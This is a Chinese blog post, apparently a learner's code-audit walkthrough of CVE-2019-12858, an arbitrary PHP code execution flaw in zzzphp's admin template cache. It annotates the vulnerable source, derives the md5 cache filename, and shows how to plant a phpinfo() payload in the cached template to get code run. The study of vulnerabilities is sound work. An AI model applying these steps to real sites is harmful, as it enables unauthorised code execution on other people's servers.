美文网首页工作生活渗透测试
CVE-2019-12858:zzzphp v1.6.6 任意代

CVE-2019-12858:zzzphp v1.6.6 任意代

作者: 违规昵称不予展示 | 来源:发表于2019-07-01 12:02 被阅读0次

    开始学习代码审计了,开始阶段先跟着大佬的脚步走吧

    1.先去下载一个zzzcms

    官网:http://www.zzzcms.com/index.html

    image.png
    实在是没找到v1.6.6只能下载一个v1.7.1了
    <?php
    require '../inc/zzz_admin.php'; 
    $getModule=getModule();
    $type=getform('type','get');
    $folder=getform('folder','get');
    $module=!empty($getModule) ? $getModule : 'index';
    $GLOBALS['type']=$type;
    geturl();
    switch ($module) {  
        case 'aboutlist':       
            break;
    ···
        //echop ($data);die;
        $GLOBALS['r']=isset($data) ? arr_key($data) : '';
        //echop (parse_admin_tlp($module));die;
        include parse_admin_tlp($module);
    

    在后台管理的主界面的中先导入了一个文件 require '../inc/zzz_admin.php';
    然后程序最后导入了include parse_admin_tlp($module);
    parse_admin_tlp()函数就是在../inc/zzz_admin.php
    定位到../inc/zzz_amin.php中1992行

    function parse_admin_tlp( $module ) {
        $tpltype = G( 'ID' ) ? 'edit' : 'add';
        $tplfile = SITE_DIR . conf( 'adminpath' ) . 'template/' . $module . '.tpl';
        $cachefile = RUN_DIR . 'cache/' . conf( 'adminpath' ) . md5( $module . $tpltype ) . '.tpl';
        //echop ($tplfile);echop ($cachefile);
        //echop( template_parse(load_file($tplfile)));
        if ( !is_file( $cachefile ) || time_file( $tplfile ) > time_file( $cachefile ) || size_file( $tplfile ) == 0 ) {
            create_file( $cachefile, template_parse( load_file( $tplfile ) ) );
        }
        return $cachefile;
    }
    
    

    虽然大佬把代码功能讲的很清楚了,但是作为php小白还是先研究一下,写上注释

    //  G() 从全局中寻找'ID' 如果找到直接返回'ID',没找到的话返回$def(默认为NULL)
    function G( $k, $def = NULL ) {
        return isset( $GLOBALS[ $k ] ) ? $GLOBALS[ $k ] : $def;
    }
    
    function parse_admin_tlp( $module ) {
        $tpltype = G( 'ID' ) ? 'edit' : 'add';
        // 如果G()返回全局变量k(true)就令$tpltype='edit',如果返回NULL(false)就令$tpltype='add'
        // 初步判断ID可能是0或用户名
        $tplfile = SITE_DIR . conf( 'adminpath' ) . 'template/' . $module . '.tpl';
        // 拼接一个$tplfile
        $cachefile = RUN_DIR . 'cache/' . conf( 'adminpath' ) . md5( $module . $tpltype ) . '.tpl';
        // 拼接$cachefile路径
        if ( !is_file( $cachefile ) || time_file( $tplfile ) > time_file( $cachefile ) || size_file( $tplfile ) == 0 ) {
            create_file( $cachefile, template_parse( load_file( $tplfile ) ) );
        }//如果$cachefile不存在 或...则创建$cachefile
        // 否则返回$cachefile
        return $cachefile;
    }
    
    

    而 cachefile 文件内容可以在后台修改,如果其内容修改为任意 php 代码,则会造成任意 php 代码执行。

    该请求提交到 /adminxxx/index.php 处理,此时 module 变量的值为 usergrouplist,如果没有相应的缓存文件,在最后一行会生成该文件。

    php -r "var_dump(md5('usergrouplistadd'));"
    string(32) "f6f373570fe983d7f5ea813871d99f6d"
    文件名:f6f373570fe983d7f5ea813871d99f6d.tpl

    修改缓存文件内容。
    后台 —> 静态缓存 —> 缓存列表 —> 后台缓存 —> 修改 f6f373570fe983d7f5ea813871d99f6d.tpl 文件内容为
    <?php phpinfo();?>
    访问http://xxxxx/adminxxx/?usergrouplist

    但是我下载的1.7.1好像不能这么做了,(我也不知道)


    image.png

    额,没啥办法只能去文件夹里自己手动改了,

    ···
    </div>
    <script src="../plugins/bootstrap/bootstrap.min.js"></script> 
    <script src="../plugins/bootstrap-table/bootstrap-table.min.js"></script> 
    <script src="../plugins/bootstrap-table/bootstrap-table-mobile.min.js"></script> 
    <script src="../plugins/layer/layer.min.js"></script>
    <script src="js/adminjs.js"></script>
    </body>
    </html>
    </php phpinfo(); ?>
    

    在文件末尾加个phpinfo()


    img

    确实是可以进行命令执行的

    相关文章

      网友评论

        本文标题:CVE-2019-12858:zzzphp v1.6.6 任意代

        本文链接:https://www.haomeiwen.com/subject/znqgcctx.html